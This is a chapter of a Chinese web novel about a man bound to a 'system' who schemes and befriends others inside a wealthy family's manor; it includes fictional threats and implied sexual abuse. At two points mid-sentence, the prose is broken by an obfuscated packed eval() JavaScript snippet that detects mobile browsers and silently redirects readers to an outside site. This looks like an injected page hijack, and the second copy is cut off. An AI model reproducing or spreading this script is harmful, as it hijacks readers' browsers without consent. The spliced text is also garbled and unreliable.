霍夫人挽着长于她二十岁的丈夫进厅,她一十指不沾阳春水的尊贵妇人,亲自为人剪雪茄,倒热茶,动作是练习上千上万遍的熟稔,处处小心。 一家之主回归,家中小辈必然恭候。 大小姐不可能下楼,霍昭龙也不准。 平常神龙不见首尾的霍子晏在,照旧只缩在角落客椅,问候过便一声不吭,干发呆。 唯独往常第一个守门的霍子骥不知去向。等霍昭龙茶饮下半杯,他才从后厅绕出来。 “爸,您到了啊。我还以为您会等白天再回来呢。你看我,现在刚结束长跑特训,没赶上换衣服就先跑来见您。” 霍子骥热情问候,往人对面一坐,毫不拘谨。他发丝被汗浸润,一缕缕粘成股状,衬衣扣子虽齐,几处褶皱却很不自然。 打量着他,霍昭龙转动青瓷杯。 “我倒是不知道,你什么时候有了晚上锻炼的爱好。” 霍子骥干笑两声,试图将话题转移。 “爸,之前您叫我看管的那批货,我找到下家了。绝对是单大生意。” 威严男人手轻敲桌面,血玉扳指叩响两下。 声音不仅令状似神游的霍子晏正襟危坐,也让霍子骥自觉闭嘴,顿时收敛。 “子骥,我出发前,是怎么跟你说的。复述一遍给我。” 半年前的事,谁还记得? 闻言暗道不妙,霍子骥下意识朝母亲瞥去。可霍夫人尚未做出反应,那霍昭龙便右手握拳,不轻不重锤出声响,如鼓如钟,与他尖锐形同鹰隼的眼同样震慑人心。 厅中寂静,窗外蝉鸣也因胆怯止歇。 一片沉默中,霍昭龙终于开口发话。 “我说,没到足够火候,没有确切把握,就别痴心妄想,胆敢触碰难以企及的树顶果实。是这样吗?” 霍子骥想起来了,可这已然失去意义。 如今他只放低姿态,省得又让这尊大神动怒,谁都压不住。 眼见气氛紧绷,霍夫人殷勤为丈夫续茶,借机为儿子说好话。 “子骥也是想表现一番。你这么久才能回来一趟,平常也难联系上你。他联络的买方我认得的,你也见过,大剧院的投资人林威廉。上次因他剧团遭遇海难事故,就没谈成。” 尽管得到解释,霍昭龙脸色不见缓和,仍闷声喝着茶,反复调整花纹朝向。 就在众人以为他又会像以前那样,喝完整壶茶水,解散家庭聚会时,他手背一抵将瓷杯推开。 “莱特在哪。” 厅内一阵岑寂。情况却不同于刚才。 霍夫人接道。 “莱特那孩子应该已经休息了。你也知道他的脾气,一直不太爱见人。” 霍昭龙静静看着她,那眼神没有温度和情感,像无数道冰棱扎来,莫名使她心虚惊惶。 “我算是他半个父亲,你觉得他连我也不肯见?还是在宵小之徒闹事后?” 听着是在谴责莱特·莱恩,可与霍昭龙相伴多年,霍夫人明白对方早知戴维重伤莱恩手臂这茬,是怪她疏忽。 “老爷——” 霍昭龙扬手一摆,堵住她所有辩解。 “我已派人去接他过来,很遗憾他今晚似乎不像夫人你说的,早早休息。而是出去了。” 出去了? 惊讶不止在霍家几人中漫开。 一旁静待的韦执事更心中诧异。 在他告诫过后,莱恩·莱特为何还要出庄园? 家庭聚会缺席的最后一员姗姗来迟,择明被黑衣保镖护跨入门廊。 他面具完全褪漆,但锃亮得反光,右手垂着,明显比左边更无力孱弱。后背笔挺,视线却是往下凝望地板,依旧掩着自卑。 霍昭龙按了按身下紫绒坐垫,先是想起身可一番踌躇后又放弃。 “到这来,莱特。” 为防止青年会太‘自觉’,在旁边干站着不入坐,霍昭龙拍着身边空位。这让霍夫人别过脸蹙眉,霍子骥翘起二郎腿,笑似看戏人。 谈话无非是关于伤势和疗养细节,霍昭龙问择明答,平常得甚至乏味。 “好好养伤。”霍昭龙手举着没抽几口的雪茄,点头重复,“好好养,一步步慢慢复健,不要顾虑太多。伊凡有发电报告诉我,你的手恢复不到原来程度,但医学是在进步的存在,也就有将病症以偏概全的情况。” 霍昭龙张了张嘴,立马接上雪茄,猛吸一口道。 “我相信,凡人都是受眷顾的。有信者受其神明看顾,无信者有先祖血亲荫蔽。你也是。所以,即便只有百分之一希望,都不可轻易言弃。这点我深有体会。” 能听霍昭龙安慰,实属罕见。 说这话时,他一直看着青年的右手。 交谈难容外人插嘴,期间霍子骥借口洗漱离开,霍子晏低声问候一句退场。到最后,霍夫人被‘找茶叶’为理由支走。 霍昭龙轻拍坐垫,站起身。 “这烟味大,陪我出去透透气。” 择明点头跟上,来到东侧露台。 放眼远眺,能见远处拱顶花房。不知谁在那点起夜灯,使玻璃悬顶成了萤火虫尾巴,莹莹闪耀。 同样的夜灯下,一对养父养子并肩倚着栏杆,周围再无他人。 霍昭龙忽然寡言,光顾着抽雪茄欣赏夜色。 择明还注意到,对方手频频摸向风衣口袋,却始终没有下一步动作。 【系统Z:您现在会告发三少爷,霍夫人,还有二少爷吗】 择明眼珠一转。 【为什么要告发?】 【系统Z:霍昭龙并非不在乎莱特·莱恩,只是莱特·莱恩有意疏远,婉拒与家主同席,更不愿谈及自身点滴。您趁此机会提一嘴,是绝佳的‘使坏’机会,作为你实现反派立场其中一环】 择明抚摸雕花石栏,指腹因冰冷触感轻微发麻。 他画着杂乱无章的圆,抛出又一种系统无法回答的问句。 【那么,我所需要针对的‘主角’,是否就在他们之中?】 【系统Z:回答主角身份属于二级以上信息,暂无权限查询】 答复快速,但机械而生硬,萌生浏览说明书的错觉。 迷你字体专业术语,味如嚼蜡,难以下咽。 择明抿嘴,似是抱怨。 【是你作为‘系统’本就如此,还是爱天生‘使坏’?Z,你的回答能带给我趣味,却也让我不得不怀疑你的意图】 给予他决定性的抉择,但从不强迫。 时而提供足够详略的信息,可偏压着关键脉络。 向他提出质疑,却又不经意间试图引导。 【系统Z:如您所说,主人,我们彼此独立。但我会优先以您提前设立的‘果’为目的,即成为‘反派’立场与主角做对,结合有效数据和情景,给出适合您的建议。因为当您开始支配这具身体的那一刻起,大部分数据参考已失去其意义】 【我突然想打个岔,Z。我想起了一件事】 【系统Z:是什么,主人】 【撒谎的人,会在解释时说得更多。情不自禁地】 【系统Z:那么这点在我这并不成立,主人】 择明双手插兜,嘴角挂着浅笑,不置可否。 有系统Z思维沟通,无言相处时择明并不难熬。终归是霍昭龙等不住,亮出件物品。 银质半脸面具质地轻薄,用手抚摸,细腻丝滑犹如人|皮。同它一比,择明脸上的只配叫‘铁疙瘩’。而从它五官模型判断,应是给‘莱特·莱恩’定制的。 其中不可忽视的另一用意。 是为让他能光明正大站在人前定制的。 “这些年……是我愧对你,莱特。不管你愿不愿意接受,我都希望你能收下它。你的成人礼。” 霍昭龙将礼物递出,今夜第一次投以长久注视。 他看着青年眸光闪动,湖蓝眼瞳胜似秋水。嗫嚅着感激道。 “谢谢您霍先生。它是我迄今为止,收到的最美好的礼物。我想,我会试着换上它的。” 柔和在霍昭龙脸上短暂停留,他轻拍年轻人肩膀,似鼓励又似嘉奖。想起什么,语速飞快道。 “你住的地方也该换了。我让伦娜给你安排一处新的。” 伦娜是霍夫人本名,嫁进来后便改成‘霍娜’。但大家基本称她霍夫人。 换住处是霍昭龙心底一直以来的疙瘩,以往他劝说皆以失败告终,可今夜有接受面具在先,自是乘胜追击好时机。 岂料这回他还是被拒绝了。 “霍先生,我在原来的地方很好。有马库斯在,他很照顾我。” 闻言霍昭龙皱眉转着扳指,但对方下一句话很快打消他的不满。 “但若您允许,我想请您让我在您的花房小住几天,那个地方,能让我感到至上的宁静。和您刚才说得一样,感觉像被谁守护着。” 霍昭龙爽快答应,一度想令仆人重装花房,最后还是应养子要求,不作改动。 独自前往花房的路上,择明不断回味着当时霍昭龙喜上眉梢的模样。 “有趣。”他自语道。 “像霍昭龙这样的男人,无论时光逝去多久,无论经历过什么,他似乎都不敢直视心中的最重之人。哪怕只是眼睛。” 【系统Z:您为什么会有这想法】 择明一反常态,啧啧摇头。 “抱歉,Z,我今天拒绝回答你。” 第一次在他这碰壁,系统Z表现依旧。 【系统Z:好的,主人】 择明:“唉。” 叹息颇有些恨铁不成钢。 “沙沙——” 小道旁灌木枝叶狂响,宛如大型野兽伺机而动,等待爆发将猎物一击毙命。 朝择明扑来的‘野兽’,正是霍子骥。 被捕猎者单手掐住脆弱脖颈,后背撞向坚硬树干,猎物择明至始至终没挣扎过。 将这份平静解读为惊吓过度,霍子骥施压力道,满足于手掌收紧时肌肤紧绷发烫的触感。因他知道这层皮下,是鲜活的血肉。 “说说看,你后来父亲单独呆这么长时间,都聊了些什么有意思的,嗯?” 他边问着,没浪费空闲的右手。挑开衣领,游走摸索,轻抚犹如亲密恋人间的调情。但他抽走礼物的粗暴蛮横,绝不是一位好情人该做的。 银面具翻来覆去查看,找不出猫腻,霍子骥哂笑,像磕鸡蛋拿它敲打择明的铁疙瘩。 “原来就为这?不过想想也对,”他放轻掐握力道,但不肯松手,“唉,我装在古董花瓶里的老父亲,他什么时候才懂呢?有些人的丑恶,是无论如何都遮不住的。” 真是丑陋。 霍子骥心想。 眼前之人衣扣被他拨开,裸露的肩上胸口上,烧伤蜿蜒坑洼,大倒胃口。 一想到这样的人竟跟他同家,还可能与他争抢家产,他就隐隐作呕。 正如他母亲告诉他的那般,一坨由脏污尘土拼凑成的卑劣物,绝不允许与他们共存,只配被碾在脚下,任他踩踏。 凭什么,这人依靠奴仆父亲的小小救命之恩,就堂而皇之进霍家大门。 凭什么,敢与他地位同高,敢从霍昭龙那得来特殊照顾。 “您最后的话,我表示高度赞同。三少爷。” 霍子骥回神,猛然收紧手,“你什么意思?” “由衷感叹罢了。”择明颔首示意道,“所以,您能将我的东西还给我了么。” 不反抗的猎物,非死即残,非蠢即坏。霍子骥深信这点,左手藏至身后。 当他手再出现时,那枚拇指上的顶针弹出刀片,锋利且泛着光,割破血管喉咙不成问题。 “你们还谈了什么?我能给你足够多时间回忆复述,或者你想让我把它们,浪费在听你哀嚎上。” “为什么我要哀嚎。” 霍子骥彻底困惑,恐吓的刀片卡在半路,与人喉结近在咫尺。 “若您是出于对霍先生的关心,我并不介意对您分享我们愉快的闲谈内容。霍先生为人慷慨,答应将花房暂借我居住。仅此而已。”择明回答。 野兽像嗅到尸体恶臭,嫌弃收起獠牙。 霍子骥将人用力一推,拉开数米距离,手擦拭衣襟,嗤之以鼻。 “真不巧,那地方我也想要。不如这样,父亲说给你了,你再借给我用用吧。我发现在那里干|起来,我能更兴奋。” 对方不语,他便默认答应,将银面具往地上丢。 “记住了,这是我们俩的秘密。否则……我会先让你身边那个粗鄙老头不好过。他那个年纪被烧伤,应该很容易死吧?” 像顽皮孩子随口说着玩笑,霍子骥退回灌木,转眼没了踪影。 择明靠在树上,捡起面具后一动不动。 【系统Z:主人,您还好吧】 它听到对方仿佛从鼻子里哼出气。 “如果你未来告诉我,我们无礼骄纵的三少爷也是一匹坏马驹,我丝毫不会感到意外。” 能从择明口中听到批判之语,比看到霍昭龙微笑更难能可贵。 这是第一句。 系统Z默默计数。 而当他们回到花房,目睹满地狼藉后。它立马记下了第二句。 择明:“有时候我很是怀疑,三少爷是否跟戴维·菲尔丁,是异父异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592331|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母的亲兄弟。” 花盆东倒西歪,各色花瓣落地与泥土混在一起,扦插枝干被人压断一片。唯一幸免的,只是霍昭龙存放在这的珐琅藏品。 择明怜惜扶起一株昙花,听到花房深处传来声响。 “莱恩先生。”艾文费力搬着花盆出现,满眼歉意,“不好意思,我本来想抢在你来之前把这整好的,可是……” 艾文紧张解释,语无伦次。他衣衫凌乱,嘴唇破皮还留着点血红。而那道白皙脖颈上的掐痕咬痕,根本遮不住。 【我们的坏马驹身边频繁换人,原因大概在这了】 向系统感叹,择明抽出手帕走向对方。 “你这里,流血了。” 他伸手没被躲,因此就在艾文呆愣注视下为其轻拭血渍。 他擦完后艾文才回魂匆忙接过。 “谢、谢谢,我可以自己来的,谢谢您。” “这我会整理,我想,你现在应该更需要休息。” 艾文头垂得更低,耳朵红得滴血。此后的两小时他既不走,也不说话,默默缩在花架旁等择明收拾残局。可从他几次偷瞄,深深吸气看来,他其实很有话想说。 “先生您,是真的不能再弹琴了吗” 是出乎意料的问题,择明亦思量了片刻。 “是的。至少,是这几年不能。” 小羊羔艾文的眼睛扑闪发亮,期待追问,“这么说您还会坚持下去吗?啊,抱歉,我不是逼你或什么的意思,我只是觉得您真的很优秀,连我这种人都能听懂、不,不是——” 苦于怎么解释才不会产生误会打击到人,艾文最后如泄气皮球,小声道。 “我只是觉得您能有更好的成就,会有更好的生活。你的音乐,能给人带来快乐……和救赎。” “你真的这么认为?” “是的。”艾文仍低着头,苦笑着两手紧握,“实不相瞒,当我觉得自己快撑不下去,要被逼疯的时候,是您的歌声让我好像听到天堂才有的安魂曲。” 【系统Z:他说的是实话。莱特·莱恩没有琴可练,就会用哼唱曲谱诗歌代替,发现过他在偷听】 “晚安,莱恩先生。” 袒露完仿佛用尽所有勇气,艾文转身落荒而逃,但一瘸一拐,姿势不太美妙。 关于马童艾文的总结语,择明只有一句‘他已在痛苦谷底’。 而霍昭龙在第二天下午就离开庄园,据说有一批很重要的货这两天要转售,不容半点差池。且不知是否对昨晚的表现不满,这次他没带上霍子骥,令三少爷大清早开始发脾气,闭门不出。 但这些,与在迷宫花园收取回信的择明无关。 几天下来,霍子晏与他互赠画作愈发频繁勤快,有时他白天才放上纸,中午回信就到,傍晚再送去后,午夜一看又贴了新纸。 而内容也从单一图画,进化成附赠诗歌短句的插绘。 “我时常会在深夜煎熬痛呼,想要剖开胸腔,瞧一瞧是什么在折磨我不堪负重的心。” “我拿起刀刃,却劈不下手,因我知道那是死神所任的专职。” “当我沉睡,沉入难于启齿的黑海,我才知道是你……唔。”择明抖了抖画纸,“二少爷,倒是比我想象中的更热情。” 系统Z知道他未念完的激情内容,包括画纸上用凌乱线条构建,疯狂交缠的两具躯|体,由衷补充。 【系统Z:二少爷毕竟和三少爷是亲兄弟】 择明被系统有样学样的点评逗乐,但翻到背面一看,立马收声。 ‘我想见一见你,今晚,在这里’ 字被涂改过很多次,由此可见对方曾多么纠结。 但与之前瑟缩封闭洞中,从不主动与人深交的霍子晏相比,现在这个大胆而狂放,热情似烈火的霍子晏,堪称脱胎换骨。 【系统Z:您会答应吗】 择明收起画纸,坐下托腮反问。 “为什么不?这是场约会。那我也该好好准备。” 这是场约会。 晚间八点,霍子晏站在镜前,第十次为自己调整领结角度。他这么对自己说着。 情形一如他初次等待回信那天,只不过他不会再自我欺骗,一味打退堂鼓,否认自己的幸运。 他已足够幸运了。 对镜面练习微笑,他无奈于自身的僵硬,索性拍打脸颊,恢复深沉阴郁的本质。 “要出发了。霍子晏。” 像士兵上战场为自己打气,他默默背诵对方写过给他的语句。那些他已倒背如流。 怎么会有如此契合他思想,理念,乃至灵魂的人? 他不止一次自问着。 那这人,又会是什么样的? 思绪不可避免绕回最初困扰他的地方。让他放慢脚步,压下热情。 是男是女,是外人还是庄园成员?对他是否有意图,又是好是坏…… 问题越聚越多,霍子晏脚步蓦然沉重,心不在焉。走到同一个拐角,他竟再次止步,踌躇着不敢前进。 不受控喘气后退,下一步就是掉头就跑。深知自己脾性,霍子晏连忙拿出为自己准备的杀手锏。 一张画纸被折叠,小心包裹在丝绢中,画上赫然是那只黎明闪蝶。它一直被放在贴近他心口的衣兜,赐予他苏醒改变的魔力,也给予他此刻迈出步伐的勇气。 沉淡,阴沉的暗夜,珍珠色的圆月嵌在天空。 身披崭新深蓝外套,长发由鲜红丝带系起。霍子骥看见的背影,就如他收到的第一封画卷,像只礼物被精心装点。 双脚不受控制,他往前又走几步,并在对方回头时彻底宕机。 同他年龄相仿的男人佩戴银色半脸面具,靠在一排紫罗兰前。紫色,红色,蓝色,与男人手中纯白花朵交织,让人无法将这画面从脑海中挥去。 “二少爷。” 他听到对方呼唤他,声音很轻,尾音欢快上扬。一如他曾幻象过的,像是高级妓|院里舞女的一双玉手,能够优雅地拨云撩雨。 “你……莱特·莱恩?”霍子晏许久才找回说话的能力。 “如果您不习惯,您可以继续用‘Morphoaurora’这一名字。” 莱特上前两步,鞠躬后递出见面礼——一束刚剪下的白色玫瑰。 沉默接过花,霍子晏双目瞪圆,视线挪不开这张仿佛从未看过的脸。当对方仰头感受风流时,他甚至也伸长脖子,很是滑稽。 “外面已经开始变冷,若您不介意,要跟我去我的画室坐坐么。如果那称得上是画室的话。” 莱特说完,轻轻地对他笑了。 柔若无骨的手抚|弄耳根,故意蒙住双眼嬉戏。霍子晏微笑不自知,握紧花点头。 “好,我跟你去。去哪都可以。” 6. 打破的声音是pop!-06 七月中旬,如被火笼烘烤沉闷无趣,霍家庄园上下百名侍者仆从乃至跑腿零工口,都出现了整齐统一的谈资。 茶余饭后讨论,闲暇劳作时提及,夜间太热睡不着点灯开始夜谈。 霍家二少爷,霍子晏,最近变化很大。 ‘很大’或许还太模糊宽泛,唯有细化描述才可突现其中的不同寻常。 譬如,只在用餐散心时下楼的二少爷不知着了什么迷,频频往主宅外跑,有时一去就是一整天才回房。 再譬如,只在提要求时才交流的他竟会主动问候问好,包括对仆人。偶尔有那么几次能得见他嘴角微弯,笑意粲然。 气质心情影响外表果真强效,承袭霍昭龙相貌最多,精神气上来后霍子晏如焕然一新,引得家中年轻女孩瞩目注意,像谈论倾慕男性般将他挂在嘴边。 那戴维虽已离开,但大家至今仍沿用他‘木柴人’的比喻。都说二少爷是‘木柴人逢春风,长叶开花了’。 议论猜测为干涉生活中心,霍子晏并不在意。某些层面上讲,他不爱斤斤计较,处处留心。 就像今日,他一早带上画板颜料箱,途径大厅落地镜时匆匆刹住脚步,再三整理仪表才小跑出门。全然没注意到周围仆人的偷瞄窥视。 厅堂二楼设有小平台,在这,霍夫人将下方情形尽收眼底。 “韦叔,我们的二少爷,最近是有什么高兴的事么。都从病狗变成哈巴犬了。”她问道。 韦执事称职将他提前搜集的情报道来。 “据我手下的几个人汇报,二少爷近来结识了一位友人,时常相约出去写生,不过没人看到过他友人相貌,因为二少爷是独自出门的,连车都没叫。还有。” 在此一顿,韦执事继续道。 “还有就是,二少爷频繁进出先生的花房。” “就是那马夫儿子现在住的地方?” 私下里,霍夫人向来以‘马夫儿子’指代莱特·莱恩。她抿嘴冷哼两声,端起托盘上的果酒饮尽。 不出意外,霍子晏那‘新友人’正是莱特。 她放下酒杯,呵出酸甜酒味。 “就不能再派人盯着点他们?弄清楚他们在一起做什么,说什么。” 韦执事面露难色解释:“夫人,先生有留他几位亲信在庄园。” 尽管不是日夜守于莱特左右,但他们这方稍有异状,必定会被禀告到霍家主那。更何况跟踪偷听这种不光彩的事,到时一问就露馅了。 霍夫人不语,捏着酒杯思索。经过利弊权衡,她放弃对那两人的追踪。 毕竟两只丧家之犬相聚,能成得了什么气候? 眼下最重要的,是为大小姐霍骊准备七月底的生日晚宴。以及最近一笔与剧院老板林威廉的生意。 距生日还有十天,家仆已着手打理庄园,花园草木重新修剪,楼内物品全部擦亮,崭新如初。而前厅女仆正在扫灰的一副巨型油画《金秋之海》,是霍昭龙最为珍视的藏品。 作者不详,价格未知,但它绝对是数一数二之杰作。 画面描绘麦田丰收的七月,恰好也是霍骊出生,霍昭龙将画请进家的时候。 那麦穗因饱满低垂,层层相叠相织,当风压低身子,胸膛与它们轻碰轻蹭,奏响无与伦比的动听赞曲。 赞曲悠扬而空灵,又迎风旋起降落,回荡在麦浪四周,农夫耳畔。 看着择明以自制颜料绘出又一副精妙绝作,霍子晏早将自己的画抛之脑后,激动得眼睛像金鱼一样鼓起。 “莱特。你到底是从天上来的,还是你这手曾被神明亲吻过。” 赞誉痴迷溢于言表,霍子晏得到对方的微笑回应,又不禁叹道。 “那些旋律,色彩,甚至触感。你到底是怎么把他们融在一起,融在这画纸里。” 作画数年,霍子晏有自己一套分阶体系。 第一阶‘无知者’,刚学习使用画具,理解点线面构图,如同白纸愚昧无知。 第二阶‘农耕者’,已掌握色彩光影,但仅会埋头临摹仿照,苦苦耕耘只为画得足够真实,足够细致。 接着是‘牧羊人’,‘冒险家’,‘品酒师’。这三者能力程度相近,都能挖掘除‘真实传神’之外的灵韵,牧羊人中规中矩守着群羊创造,冒险家天马行空不惧尝试,品酒师感官敏锐才思敏捷,是三者中最具天赋的。但往往因懈怠懒散,多是惊鸿一现,就此蒙尘。 “莱特,你简直是一个……望神者。” 霍子晏毫不吝惜,给出迄今为止的最高评价。 在所有人只低头向着地,向着自己或他人的时候,唯有一人望向天际,虔诚谦卑却又狂妄恣肆,意图拨开神灵面纱一探究竟。 择明停笔,这才转向霍子晏,“您谬赞了。二少爷。你会这么说,还是因为您具有一双慧眼,一副睿智头脑,能体会到我藏在笔触里的感受。” 他手支着下巴,示意牛群。 “我把画拿给它们看,它们没哞哞叫把画吃掉就已谢天谢地。我们身边不也有群奶牛们,喊着‘草真好吃’,‘世界上就只该有草这玩意儿’么。” 被他的比喻逗乐,霍子晏爽朗笑出声,挨着他坐下。 “相信我,你的画甚至能将石头点化成活物。” 夸赞包含逗趣成分,择明摇头一笑,为画点缀最后两笔。他至今用着左手,右手虽能拿调色盘,但很快会酸痛无力。 霍子晏激动消退,看着对方满眼疼惜。 “莱特,我有件事很想问你。” “您尽管问,二少爷。只要不是和他人遵守的秘密,我对您不会有遮掩。” 这份信任突然带来更大压力,但依旧敌不过盘踞心中至今的疑惑。霍子晏最后问道。 “你收到霍骊的邀请信,被她邀请去跟她同台演奏,是真的吗?” 此后一阵沉默令他不敢直视对方,一度后悔说出来的决定。 “是的。” 回答越是平静坦然,霍子晏心越隐隐抽痛。他仍记得青年右手被毁的那天,发出的哀嚎有多悲戚绝望。 也是因为这样,他才一反常态到窗边观望。 他怎么就没阻止呢?! 强烈愤恨是针对自身,霍子晏狠狠掐着手,筋脉绷起。 分明他一直知道莱特在他家经受怎样的欺侮,可那时他简直是个铁石心肠,该死的冷血刽子手,眼睁睁看着那群恶徒作乱。他们本不必如此,却硬要扼住白鸽脖颈,折了它赖以飞翔的羽翼,将它丢进泥里落满污秽。 仅为取乐,多么残忍。 “我感到抱歉……莱特,为所有事。” 身处愧疚痛苦的漩涡,霍子晏以手掩面,陡然间失去生气。 “您不需要向我道歉,二少爷。” 霍子晏呼吸一滞。 “伤人者已付出代价,尽管我有所失去,但我从中获得的远比遗憾要多。”端详着自己一双手,择明指尖微动做出弹琴姿势,“我从未像现在这般清楚过,原来一切事物间的联系、互通,如此美妙。色彩,声乐,文字,理学,情感,由人创造的艺术绝非完全独立的个体,总能找到可深深结合的一点。” 弹奏变成奏曲指挥,他转头,霍子晏也已看向他。 择明:“没有人是一座孤岛。人与人之间更是如此。只是还没找到相联结的点罢了。” 心中有所触动,自责更一扫而空,霍子晏庆幸地开口。 “那我们现在,是已经找到……结|合的点了吗。”凌乱而疯狂的红色线条于脑海中交织,说出这话时,他再次呼吸粗重。 “当然是,二少爷。您是我不可多得的挚友。” 高兴与一种莫名奇妙的失落同起,但霍子晏绝不会在对方面前表露灰色情绪。他点头,郑重其事要求。 “莱特,我更喜欢你叫我,子晏。还有,别在对我使用敬语。” 银月色面具后,蓝眼多次眨动似是犹豫不决,最后招架不住他急切而热烈的注视,终于投降认输。 择明取下自然风干的画纸,微笑向人递去。 “那么这画照样送给你了,子晏。” 霍子晏喜形于色,捧着画痴迷沉醉。浑然不知他身边的人,正和另一种存在热络交谈。 【系统Z:由此判断,您的俘获力完全不输于三少爷。甚至有过之而无不及,主人】 【你比较错了,Z,我可不喜欢一开始就带着情|色|欲|望同人接触相处,这不太健康,对身体不好】 【系统Z:您说得有道理。但我记得您曾说过,有钱后想尝试三少爷活色生香的情|事教学实践】 【只是考虑中。毕竟做这事,其实并没有想象中的享受。不如养小马驹快乐,对吗】 【系统Z:您说得对】 继‘是的,主人’之后,系统赫然自学成才,自创出‘您说得对,您最好最棒’体系,时常让择明掩饰不了,差点破除表面模样,放声大笑。 与霍子晏离别是在城镇闹市,能有半天相处和新画作伴,霍子晏不会继续缠着他,更不过问他留在这做什么。 就这方面,他很喜欢画痴二少爷。 择明刚穿过教堂的拱形前门,礼堂中就传出奔跑动静。孩子们以萨沙为首,热切将他围住。 “莱恩先生,今天你准备给我们上什么课?是画画吗?” “是诗歌!求您了莱恩先生,今天继续上诗歌课吧,昨天的《夜与星》才学了第一节。” “不行,今天轮到算数了……” 见他们为喜好争吵得面红耳赤,隐约有反目成仇苗头,择明当即叫停,终止这场战争。 择明:“今天时间宽裕,我说不准能所有课都上一遍。但先后顺序得听我的,没有异议?” “没有!听您的,莱恩先生。”萨沙带头,积极应声。 围观着一切,老牧师目光慈爱。他帮忙准备粉笔黑板后就站在原先的礼堂,现在的课堂角落旁听,津津有味。 当伊凡进门摘帽,于他身边站定时,他过了好久才发现。 “他们还没结束。”老牧师轻声解释到,“不过已经是第三堂课了。还剩拼字练习课。” 伊凡沉默点头,将提箱外套都搭在墙边。 老牧师却打开话匣子,开始絮叨起来。 “最近附近的孩子也赶到这上课,课本都是莱特自己做的。考虑他手的问题,我向他提议,可以由我们教堂帮忙。就是用纸方面,开销会再大一点。” “文学理学,绘画作曲,现在又多了外语。您不在的时候,他向我们借阅旧版古籍,已经着手翻译了。您是哪里找来这神通广大的年轻人?” 伊凡不喜开玩笑,因此没有回答。 但他知道老牧师尚未加进去的一项,还有医学。 午后四点,紧凑的课程终于结束。 因择明授课时不仅言语风趣诙谐,还能以浅显通俗的用语解释,时而穿插与学生插科打诨,又总能无缝切换将课题拉回,孩子们鲜少有走神疲劳的时候。 他们从不嚷着课间休息,反而遗憾不能再多上几节。 “好了,莱恩老师再说下去要更累了,孩子们,跟我去后院分点心。” 老牧师拍掌高喊,可算是将这群嘈杂雏鸟领出庄严礼堂。 伊凡低头拿起物品再转身,择明已收拾好东西,将他的移动‘问诊台’挪出,所有器具整齐摆放,正在消毒。 这让以往独自鼓捣的伊凡大大缩短准备时间,只需屁股一坐,等着患者上门。 他顾客的病无非是‘穷病’,摔伤撞伤没有正确处理,小病拖着变成大病,要么是积劳成疾,没有治愈一说只能调养。 细致检查,快速诊断,伊凡在纸上写下清单递向身后,无论何时都能被第一时间接去,最后变成完全正确的药包,转交到病人手中。 “祝您尽早康复,夫人。顺便一提,您的花很衬您肤色。” “谢谢,也祝你一天愉快。” 伊凡摘下听诊器,目光不自觉瞟向身边。 招到帮手问诊,差别不止是更加便利和效率提高。 不同于他,他这名助手永远微笑示人,关怀细致入微。看似简单随口而出的赞美,安抚,调侃,犹如魔咒轻易将病痛所致的愁苦驱散。 以往从来没人是进来眉开眼笑,出去也阳光灿烂的。 两个半小时后,问诊圆满画上句号,伊凡点着记录本计算,发现病号是以往两倍有余。再看应该是最忙最累的助手,正轻哼旋律,背对他清洗用具。 漠然神情没有变化,伊凡合上手册,沉声一问。 “你似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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艾文佝偻着坐在花架下,光裸的背朝他,身边是被撕烂的上衣。 那些咬痕,挫伤,毫无遮拦展现在他眼前,仿若一张触目惊心的抽象画。 这今天应该被艾文整理过,不像上次乱得像有七八只狂犬蹂|躏。 择明拿起自己的外衣,轻手轻脚走去,想替人披上。 由于没察觉到择明靠近,艾文反应猛烈,挺身抬臂,做出出人意料的攻击动作——伸手抵向咽喉,试图将人摁倒。 但及时看清那张被面具覆盖的脸,他转眼恢复成之前的温顺孺慕。 “对不起莱恩先生、我刚刚、刚刚想事情太入迷了,还以为您是小偷什么的……”他越说头垂得越低。 静默的择明并未被吓到,脖子微微后仰,朝下的视线停在少年人头顶。 他重新为对方披上外套,掖衣领的动作温柔无比。 “你应该着凉了,去那坐着,我给你倒杯热水。” 艾文没有动静,他亦不催促。只等对方缓缓抬起脸,主动开口。 “先生……您说,有什么办法能永远不用再做自己不愿意做的事,说不愿说的话,能永远不再痛苦呢?” 泛红的眼眶,和强忍怆然的模样,与白天的纯良天真,笑脸相迎判若两人。 马童艾文发生过什么,之后会如何,莱特并不知道。择明也就没有‘预知’参照。 但能肯定的是,七月之后,艾文没在庄园里出现过了。 此时没等择明回应,艾文率先手背抹眼角,扬起脸勉强笑道。 “对不起莱恩先生,我跟您说了这么奇怪的话。我就是情绪太乱了,很可能着凉,冻坏脑子了哈哈哈。请您原谅。” 择明摇摇头,表示没关系。并转身取来矮桌上的书本,将夹在其中的干花书签递给对方。 满天星是发饰,玫瑰是翅膀衣裙,两片乳白昙花组成迷你脸庞,神似他佩戴的新面具。 艾文又惊又喜,“这——您是给我的吗?” “我很遗憾,你的问题我也无法给你答案……” 不曾听过的语言怪如海妖吟唱,艾文困惑抬眼。 艾文:“嗯?您刚刚说什么?” “一位他国诗人的绝笔。”择明解释道。 “我踏进牢笼,我无所畏惧亦不心伤。因我已将爱与希望,永远留在囹圄之外,新日黎明之下。” 少年人懵懂困惑,却移不开眼。 这一刻的莱恩先生,不太像他印象中的。 但有着更为强烈、难以抵抗的吸引力。一度让他忘却身体之痛,内中酸楚。愈发心之向往,想要奔去。 察觉自己失态,艾文手忙脚乱收起书签,转身匆匆告别。 “十分感谢您,莱恩先生、晚安。” 择明走到门边目送那道身影消失在道路尽头。 【系统Z:很美的诗】 不再是‘您最好你最棒’体系,择明不禁挑眉道,“你真这么觉得,Z?” 【系统Z:是的,尽管不怎么押韵】 